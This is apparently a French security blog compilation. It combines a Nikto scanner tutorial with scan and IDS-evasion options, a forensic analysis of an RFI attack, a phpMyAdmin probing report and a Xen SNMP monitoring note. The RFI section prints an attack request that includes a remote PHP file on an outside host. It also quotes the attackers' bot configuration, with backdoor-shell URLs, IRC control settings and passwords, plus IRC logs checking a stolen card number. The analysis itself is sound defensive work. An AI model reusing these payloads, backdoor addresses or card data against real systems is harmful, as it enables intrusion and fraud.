Web Scanner Nikto

Nikto est un scanner web open source (GPL) qui vous permet de détecter environ 3500 fichiers ou scripts dangereux, de détecter environ 900 versions de serveurs HTTP. Ce outil est plus un outil de contact dans le sens OSSTMM et OWASP qu’un outil d’exploitation de vulnérabilité, bien que certaines vulnérabilités du type injection SQL, XSS ou RFI soient validées.

Nikto est un logiciel développé en langage PERL et composé de fichiers de références et de plugins qui ne sont quand à eux pas en licence GPL. Ces fichiers de références peuvent se retrouver dans le répertoire “plugins” de l’installation de Nikto. Le logiciel Nikto peut être exécuté sur toutes les plateformes qui disposent d’une installation PERL native. Pour les plateformes Windows, il vous faudra installer des logiciels du type Strawberry Perl ouActivePerl.

Nikto peut être intégré avec d’autres outils de sécurité, comme par exemple Nessus.

  • Configuration

Il est possible de changer la configuration de Nikto par le biais du fichier de configuration “config.txt”.

Les options conseillées à changer sont :

NMAP=/usr/local/bin/nmap

SKIPPORTS=21 111

###########################
# PROXY STUFF
###########################
#PROXYHOST=127.0.0.1
#PROXYPORT=8080
#PROXYUSER=proxyuserid
#PROXYPASS=proxypassword

  • Utilisation de base

Nikto ne requiert en tant qu’argument que d’une adresse IP cible.

./nikto.pl -h 192.168.1.1

Il est possible de spécifier un port spécifique pour le serveur HTTP.

./nikto.pl -h 192.168.1.1 -p 8080

Le scan d’un serveur HTTPS peut être effectué de la façon suivante :

./nikto.pl -h 192.168.1.1 -p 8080 -ssl

  • Mise à jour de la base de donnée et des plugins Nikto

./nikto.pl -update

  • Détection du type de serveur web

Nikto offre aussi la possibilité de ne détecter que la version du serveur web et de ne pas effectuer d’autres tests.

./nikto.pl -h 192.168.1.1 -findonly

  • Utilisation de Nikto avec un proxy

Afin de pouvoir utiliser Nikto par le biais d’un proxy, il vous faudra modifier le options “PROXY” du fichier de configuration de Nikto, et de lancer Nikto avec l’option suivante.

./nikto.pl -h targets.txt -useproxy

  • Rendre Nikto moins agressif

L’option “-Pause” peut être ajoutée avec une argument numérique qui représentera le nombre de secondes que Nikto devra attendre entre deux tests.

./nikto.pl -h 192.168.1.1 -Pause 10

  • Rendre Nikto plus verbeux

L’option “-Display” permet à Nikto d’être plus verbeux lors de son exécution.

Cette option peut avoir six arguments :

1 – Montre uniquement les redirections
2 – Montre les cookies reçus

[xxxxx@xxxxx nikto]$ ./nikto.pl -h 192.168.1.1 -Display 2
- Nikto v2.03/2.04
---------------------------------------------------------------------------
+ / sent cookie: PHPSESSID=njmnn0k70u5if6i5ls2lfe31h0; path=/
+ / sent cookie: zatazsession_id=fd9ad05c49ce453e2edfe76f36dc1123; path=/; domain=.zataz.com; HttpOnly
+ Target IP: 192.168.1.1
+ Target Hostname: xxxx.zataz.com
+ Target Port: 80
+ Start Time: 2009-05-28 16:06:09
---------------------------------------------------------------------------

3 – Montre toutes les réponses HTTP 200 – OK
4 – Montre les URL qui nécessitent une authentification
D – Lancement de Nikto en mode debug
V – Lancement de Nikto en mode verbeux

  • Sauvegarde des résultats de Nikto en différents formats

L’option “-Format” permet d’enregistrer les résultats d’un scan Nikto sous différents formats. Cette option ne fonctionne que si l’option “-o” est présente.

csv – Enregistre les résultats au format CSV
htm – Enregistre les résultats au format HTML
txt – Enregistre les résultats au format TXT
xml – Enregistre les résultats au format XML

./nikto.pl -h 192.168.1.1 -o test.csv -Format csv

  • Scan multiports

Il est possible d’indiquer à Nikto de scanner plusieurs port HTTP ou HTTPS en une seule ligne de commande.

./nikto.pl -h 192.168.1.1 -p 80,8080

  • Scan multi hosts

Si vous désirez scanner plusieurs cibles en même temps, il vous suffit de créer un fichier texte contenant les adresses IP ou noms d’hôte de vos cibles.

Les cibles peuvent être présentées sous les formats suivants :

192.168.1.1:80
192.168.1.2,80
192.168.1.3
192.168.1.1,80,443
192.168.1.1:80:443

Ce fichier sera ensuite appeler par le biais de la commande suivante.

./nikto.pl -h targets.txt

  • Techniques de mutation

Les techniques de mutation Nikto ont comme objectifs de combiner des tests ou de deviner des valeurs. Le lancement des ces options de mutations peut augmenter singulièrement le nombre de tests qui seront effectués.

L’option “-mutate” activera les techniques de mutation avec comme arguments possibles :

1 – Lancera tous les tests à la racine de chaque répertoire.
2 – Détection de fichiers de mots de passe. Nikto se chargera de détecter tous les fichiers commençant, par exemple, par “passwd”, “pass”, “password”, etc., et toutes les extensions de fichiers se terminant par exemple par “txt”, “pwd”, “back”, etc.
3 – Tentative d’énumération des utilisateurs système par le biais des réponses du serveur web Apache. Utilise les mauvaises configurations du serveurs web Apache UserDir.
4 – Tentative d’énumération des utilisateurs systèmes par le biais des réponses des cgiwrap.

  • Customisation du scan Nikto

La customisation du scan Nikto permet de réduire le nombre de tests qui seront effectués, et ainsi de se concentrer uniquement sur certains tests bien précis, avec par exemple les techniques de mutations.

En ajoutant l’option “-T” Nikto n’effectuera que les tests indiqués en arguments.

./nikto.pl -h 192.168.1.1 -T 58

Si le caractère “x” est mis à la fin des arguments, les tests indiqués seront alors exclus du scan Nikto.

./nikto.pl -h 192.168.1.1 -T 58x

Les arguments suivants sont possibles :

0 – Tests découvrant les scripts permettant un téléchargement de fichier sur le serveur cible.
1 – Tests remontant des fichiers inconnus qui pourraient être en relation avec des attaques déjà effectuées.
2 – Tests remontant les fichiers de configurations par défaut de certaines applications (documentations, etc.)
3 – Tests remontant les informations sensibles, comme les répertoires non protégés ou les comptes utilisateurs.
4 – Tests remontant les scripts potentiellement vulnérables aux injections XSS ou HTML
5 – Tests remontant les accès potentiels à des fichiers non autorisés uniquement situés à partir de la racine du serveur web.
6 – Tests remontant les scripts pouvant permettre les DoS (Denial of Services)
7 – Tests remontant les accès potentiels à des fichiers non autorisés à n’importe quel endroit du serveur.
8 – Tests remontant les scripts pouvant permettre l’exécution de commandes.
9 – Tests remontant les scripts vulnérables aux injections SQL.
a – Contournement d’authentification. Test de contournement d’authentification.
b – Tests remontant la version des logiciels installés.
c – Tests remontant les scripts permettant de dévoilés les codes source.

  • Techniques d’évasion

Nikto permet de lancer les tests avec différentes techniques d’évasions basées sur la librairie LibWhisker.

Ces techniques d’évasions sont évocables avec l’option “-evasion” et les arguments suivants :

1 – Générations d’URI aléatoires (non UTF8)
2 – Référence au répertoire de base (/./)
3 – Fin d’URL prématurée
4 – Longues chaînes de caractères
5 – Faux paramètres
6 – Espace simulée par TAB
7 – Changement en majuscule ou minuscule des URL
8 – Utilisation de séparateurs Windows (\)

Analyse d’une attaque RFI (Remote File Inclusion)

Comme tous les jours, un serveur web Internet est fréquement la cible d’attaques automatisées provenant de “scanner” RFI (Remote File Inclusion). Pour avoir une explication plus généraliste des attaques du type RFI, nous vous proposons de consulter Wikipedia.

Nous allons dans l’exemple ci-dessous analyser le comportement d’une attaque d’un de ces scanner. Prenons comme base les logs d’un de nos serveurs web et parmis toutes les attaques, prenons une des empreintes :

89.218.85.18 - - [27/Dec/2008:16:14:45 +0100] "GET /index.php?option=com_content&task=&sectionid=&id=&mosConfig_absolute_path=http://www.tos-belarus.org/scan/copyright.txt?? HTTP/1.1" 200 - "-" "Mozilla/5.0"

L’adresse source, “89.218.85.18“, fait partie d’un réseau situé au Kazakstan. Sûrement un serveur s’étant aussi fait compromettre par un de ces “scanner” RFI.

L’attaque utilisé, “mosConfig_absolute_path“, est une vulnérabilité dans le CMS Mambo (SA14337), ou dans le fork Joomla (SA29106). La révélation de la vulnérabilité dans le CMS Mambo date du 21 Février 2005, tandis que celle de Joomla date du 14 Février 2008.

L’inclusion tentée par le scanner RFI est l’adresse “http://www.tos-belarus.org/scan/copyright.txt??“.

Le serveur www.tos-belarus.org est hébergé en suisse, ce qui nous donne ce petite représentation visuelle de l’attaque.

Le principe est simple, l’attaquant, c’est à dire le scanner RFI, attaque la cible www.zataz.com, et utilise un site tier, qui est ici www.tos-belarus.org, pour exploiter la vulnérabilité. Le fichier “copyright.txt??” est en fait un script PHP simple contenant la réponse à retourner en cas de succès à l’inclusion.

<?php /* Fx29ID */ echo("FeeL"."CoMz"); die("FeeL"."CoMz"); /* Fx29ID */ ?>

Prenez notes des commentaire “Fx29ID” et de la sortie générée lors de l’exécution du script “FeeLCoMzFeeLCoMz“.

Une recherche sur Google avec le commentaire “Fx29ID” nous permet déjà d’identifier les développeurs du scanner RFI.

Le groupe de développeurs et de pirates tournant autour de ce scanner RFI se nomme “FeeLCoMz Community“, dont la devise est “No System Is Perfectly Safe“. Ce groupe serait Indonésien ou Mélanésien.

FeelComz

Il est vrai que ce simple bout de code n’est que la partie visible de l’iceberg. Si l’on regarde de plus près le répertoire “/scan/” l’on pourra trouver plusieurs autres scripts.

Nous pouvons y voir trois fichiers “.txt” dont notre script “copyright.txt“. Les deux autres scripts se nomment “felcomz.txt” et “readme.txt“.

Notre scanner RFi se nomme “felcomz.txt“.

########################################
## FeeLCoMz RFI Scanner Bot v4.8 ##
## By FaTaLisTiCz_Fx ##
## © Agu-Nov 2008, FeeLCoMz Community ##
########################################

Ce scanner RFI a été améliorer et est disponible maintenant en version 4.9.

##[ KONFIGURASI URL ]##
my fx29id = "http://www.tos-belarus.org/scan/copyright.txt?"; #Fx29ID1 (Simple) / #Fx29ID2 (Advanced)
my fx29id2 = "http://www.tos-belarus.org/scan/readme.txt?"; #Fx29ID2 (Advanced)
my fx29sh = "http://www.tos-belarus.org/data/cyberz.txt??"; #Fx29Sh (Optional)
my bypass = "http://www.ekosystem.org/googlerz.php?"; #Google Bypasserz (Optional)

fx29id –> Cette variable correspond à l’empreinte retour d’exploitation d’une vulnérabilité.
fx29id2 –> Cette variable correspond à notre troisième script présent dans le répertoire “/scan/” et qui fournira aussi une empreinte retour d’exploitation d’une vulnérabilité.
fx29sh –> Cette variable correspond à un nouveau script, qui nous dévoile aussi la présence d’un nouveau répertoire compromis “/data/”. Ce script est un backdoor php “FaTaLisTiCz_Fx Fx29SheLL v1.5 06.2008” recodé par “the_pheng”.
bypass –> Cette variable correspond censé être un proxy aux requêtes Google. Il est hébergé sur un serveur OVH en France.

Une nouvelle version du backdoor PHP Fx29Shell est disponible en version v3.2.12.2008.

##[ KONFIGURASI SOURCE ]##
my mysite = "http://www.tos-belarus.org/data/"; #Path to Sources URL (Optional)
my spread = mysite."/version.txt"; #Fx29Spreadz (Optional)
my joomlaz = mysite."/joomla.txt"; #Joomla's Bugs List (Required for Joomla RFI Scanner)

L’on retrouve ici le nouveau répertoire “/data/” avec deux nouveaux scripts.

spread –> Cette variable correspond à un nouveau script, celui-ci est un Bot IRC PHP “PHP-BOT v1.4”.
joomlaz –> Cette variable correspond à une liste des chemins d’accès vulnérables de Joomla.

##[ KONFIGURASI IRC ]##
my @servers = ("irc.mildnet.org");
my %bot = (
nick => "[SCAN][".int(rand(100))."]",
ident => "Fx".int(rand(100)),
chan => ["#madiun"],
server => ######servers[rand(scalar(@servers))],
port => "6667"
);

Le nick du bot est créé dynamiquement sous la forme [SCAN][xxx], où xxx est un chiffre aléatoire compris entre 0 et 100. Le “ident” du bot est créé dynamiquement sous la forme Fxxx, où xxx est un chiffre aléatoire compris entre 0 et 100. Le bot se connectera automatiquement sur le channel #madiun, et cela sur un serveur aléatoire présent dans la liste des serveurs irc configuré. Le port du serveur IRC, sur lequel le scanner RFI se connectera est un port statique 6667.

L’on peut voir ici que les pirates ont pensés à la haute disponibilité aléatoire de l’accès au scanner RFI. Par contre, si le serveur irc sélectionné aléatoirement dans la liste ne fonctionne pas, le bot s’arrêtera automatiquement.

L’on peut voir aussi que le point faible de ce bot est le port statique de connexion, étant le port 6667, il suffit alors à un administrateur de couper toutes les connexions sortantes vers le port 6667 pour s’assurer qu’aucun de ces scanner RFI ne fonctionneront.

Des améliorations peuvent être apportées sur ces deux SPOF et sûrement des évolutions futures de ce type de scanner.

Le serveur irc, se nomme irc.mildnet.org, le site web est en cours de contruction, mais un WHOIS sur le nom de domaine permet de confirmer que celui-ci est situé géographiquement en Indonésie.

Registrant ID:GODA-049668678
Registrant Name:MILDNet Team
Registrant Organization:MILDNet Community
Registrant Street1:www.mildnet.org
Registrant Street2:
Registrant Street3:
Registrant City:Indonesia
Registrant State/Province:
Registrant Postal Code:50148
Registrant Country:ID
Registrant Phone:+62.85646671234

Il y a de grande chance que les données fournies dans le WHOIS soient fausse. Là aussi, ce scanner ne contenant qu’une seule entrée de serveur irc, pourra facilement être désactiver en contactant tous simplement le registrar et lui demander de désactiver le nom de domaine mildnet.org

##[ KONFIGURASI USER ##
## cryptz: 0 = Not Encrypted, 1 = Encrypted
my %boss = (
the_pheng => {
pass => 'kampret',
status => "admin",
cryptz => 1,
login => 0
},
KD => {
pass => 'setan',
status => "admin",
cryptz => 0,
login => 0
},
);

Les utilisateurs IRC qui pourront administrer le bot sont identifier ici.

Une simple recherche sur Google permet aussi d’identifier “the_pheng” et carrement de tirer des photos de lui, correspondant d’ailleurs aussi à celles présentes sur le site web de la communauté “FeeLCoMz“.

##[ INISIALISASI VARIABEL ]##
my ######chanx = "#KURSI"; #2nd Channel to show the results of vurnerable site
my ######dbgchan = "#RUSI"; #For debugging purposes (Optional)

Les canaux IRC sur lesquels les résultats seront affichés. #KURSI pour affiché les résultats de site vulnérable, et #RUSI pour le debugging du bot.

Sans entrer dans le détails de ce scanner RFI celui-ci permet les actions suivantes :

  • Scanner RFI générique
  • Scanner RFI générique avec lancement d’exploit
  • Scanner spécifique aux vulnérabilités Joomla
  • Recherche d’exploits ciblés par mots clés sur Milw0rm
  • Recherche sur divers moteurs de recherche, avec un module complet et très fin pour Google
  • Utilisation d’un proxy pour les recherches sur Google
  • Espionnage de connexions anormales sur les chan IRC créé par le bot afin d’alimenter une liste

En nous connectant sur le serveur irc.mildnet.org, nous avons pu observer différents canaux IRC.

[22:55] [4]?322? *** #hell 57 [+ntr] Check type !chk . Sock account seller & CVV selller: Nitro[x]ine
22:55] [4]?322? *** #bekasihackerlink 28 [+mntr] ,0æ,8æ,8æ,7æ,7æ,4æ,4æ,5æ,5æ,1æ,1#BekasiHackerLink by |::. AzpallCyb3R .::|,1æ,5æ,5æ,4æ,4æ,7æ,7æ,8æ,8æ,0æ
[22:55] [4]?322? *** #carding 181 [+ntrVMCNTB] Welcome to #carding, please enjoy to chat here. ,1
22:55] [4]?322? *** #enrekang 29 [+ntr] 2|[ kukekaw][ scan on !rfi bugs= dork -p 100 ]| ,1..:: /!,1\ Welcome #enrekang@Mildnet /!,1\ Just A Hacker,Carder,Cracker and Blogger Zone| ::..,15http://www.geocities.com/dedet_hot/Dork.txt

Et beaucoup d’autres canaux, ayant un grand nombre de membres, mais dont l’accès est protégé.

Le canal IRC #hell, est un canal IRC spécialisé dans la vérification de numéro de carte bleu, un bot permet aux pirates de vérifier en temps réel la validité d’une carte bleu, ainsi que de lancer d’autres commandes de recherche sur google.

[16:42] nasrullah: !g script mirc
[16:42] hycarl: [Google] #1 mIRC Scripts Dot Com - mIRC Script Bot Addon ###### archive ( http://www.mircscripts.com/ )
[16:42] hycarl: [Google] Desc: One of the oldest mIRC sites on the Web. ###### hundreds of scripts, bots, and addons for the IRC client.
[16:50] *** Guest39197 is now known as b
[16:51] snow: !chk 4263540101966447 0611 263
[16:51] [chkbot]: snow : checking 4263540101966447 0611 263
[16:51] [chkbot]: snow : 4263540101966447 0611 263 Invalid account number
[16:53] imnotdead: !g roy suryo
[16:53] hycarl: [Google] #1 Roy Suryo - Wikipedia bahasa Indonesia, ensiklopedia bebas ( http://id.wikipedia.org/wiki/Roy_Suryo )
[16:53] hycarl: [Google] Desc: - [ Translate this page ]KRMT Roy Suryo Notodiprojo atau sering dipanggil Roy Suryo (lahir di Yogyakarta, 18 Juli 1968) adalah seorang pengurus Partai Demokrat di bidang Komunikasi ...

Tentative d’attaque ciblée sur PHPMyAdmin, un 0day ?

En effectuant l’analyse journalière des tentatives d’attaques à l’encontre de l’infrastructure ZATAZ, Nous avons pu remarquer des tentatives qui sortent de la normale.

En l’espace de 7 minutes, de 2008-12-29 13:13:02 à 2008-12-29 13:20:26, près de 207 alertes ont été générées pour l’adresse IP 220.182.54.89, située en Chine.

Toutes ces alertes ont des points communs :

  • Attaques sur une adresse IP et non sur un domaine.
  • Attaques spécifique sur le port 80.
  • Attaques visants des répertoires ayant tous une relation avec phpMyAdmin.
  • Le User Agent est celui de l’outil “revolt” dédié à la découverte d’installation de phpMyAdmin.

Après avoir observé les dernières alertes et autres exploits phpMyAdmin, il ne parraît pas exister de vulnérabilité majeure (autre que XSS) pouvant prétexter de tels attaques. Serait-ce un pirate en cours de test d’un outil et qui prendrait ZATAZ comme cible spécifique ? Ou alors d’une tentative plus large de découverte d’installation de phpMyAdmin pouvant alors éventuellement supposé qu’un 0day phpMyAdmin serait existant.

Si vous avez des traces du même type n’hésitez pas à nous en faire part.

Monitoring de Xen via SNMP

Je suis tombé sur un blog intéressant où le monitoring d’instances Xen par le biais de Cacti – SNMP est décrite. Le monitoring ne s’effectue pas directement dans l’instance virtuelle, par le biais d’un monitoring Linux courant, mais au niveau du serveur hôte.

Le premier script “xen_cloud_stats.pl” est à placer sur le serveur hôte et qui sera lancé à chaque requête SNMP par le biais d’une MIB étendue. En détail “xen_cloud_stats.pl” va faire appel à la commande xentop afin de monitorer le Dom0 et les DomU présents sur le serveur hôte Xen. Nous vous conseillons de placer ce script dans /usr/sbin/ et de ne le rendre exécutable uniquement par root.

Afin qu’il puisse s’éxécuter il vous faut ensuite modifier la configuration SNMP du serveur hôte et de rajouter cette ligne à la fin du fichier de configuration snmpd.conf. N’oublier pas de relancer SNMP.

extend xen-stats /usr/sbin/xen_cloud_stats.pl

Nous devons maintenant, configurer Cacti afin de pouvoir récupérer les informations par le biais de requêtes SNMP classiques. Si vous avez un serveur sous RHEL4 ou Centos4, il vous faudra récupérer le fichier /usr/share/snmp/mibs/NET-SNMP-EXTEND-MIB.txt d’un serveur sous RHEL5 ou Centos5 et le mettre dans le répertoire /usr/share/snmp/mibs/ de votre serveur actuel. net-snmp sous RHEL4 ou Centos4 ne supporte pas nativement la MIB EXTEND. Si vous effectuer cette opération, n’oubliez pas de relancer SNMP.

Il vous suffit ensuite d’importe les 3 fichiers restants dans Cacti afin de pouvoir mettre sous monitoring vos instances Xen. Les scripts ont été adaptés pour qu’ils tournent autant sous PHP4 que PHP5, de plus des petits bugs dans les scripts Cacti ont aussi été corrigé dans cette version.

Monitoring Xen via SNMP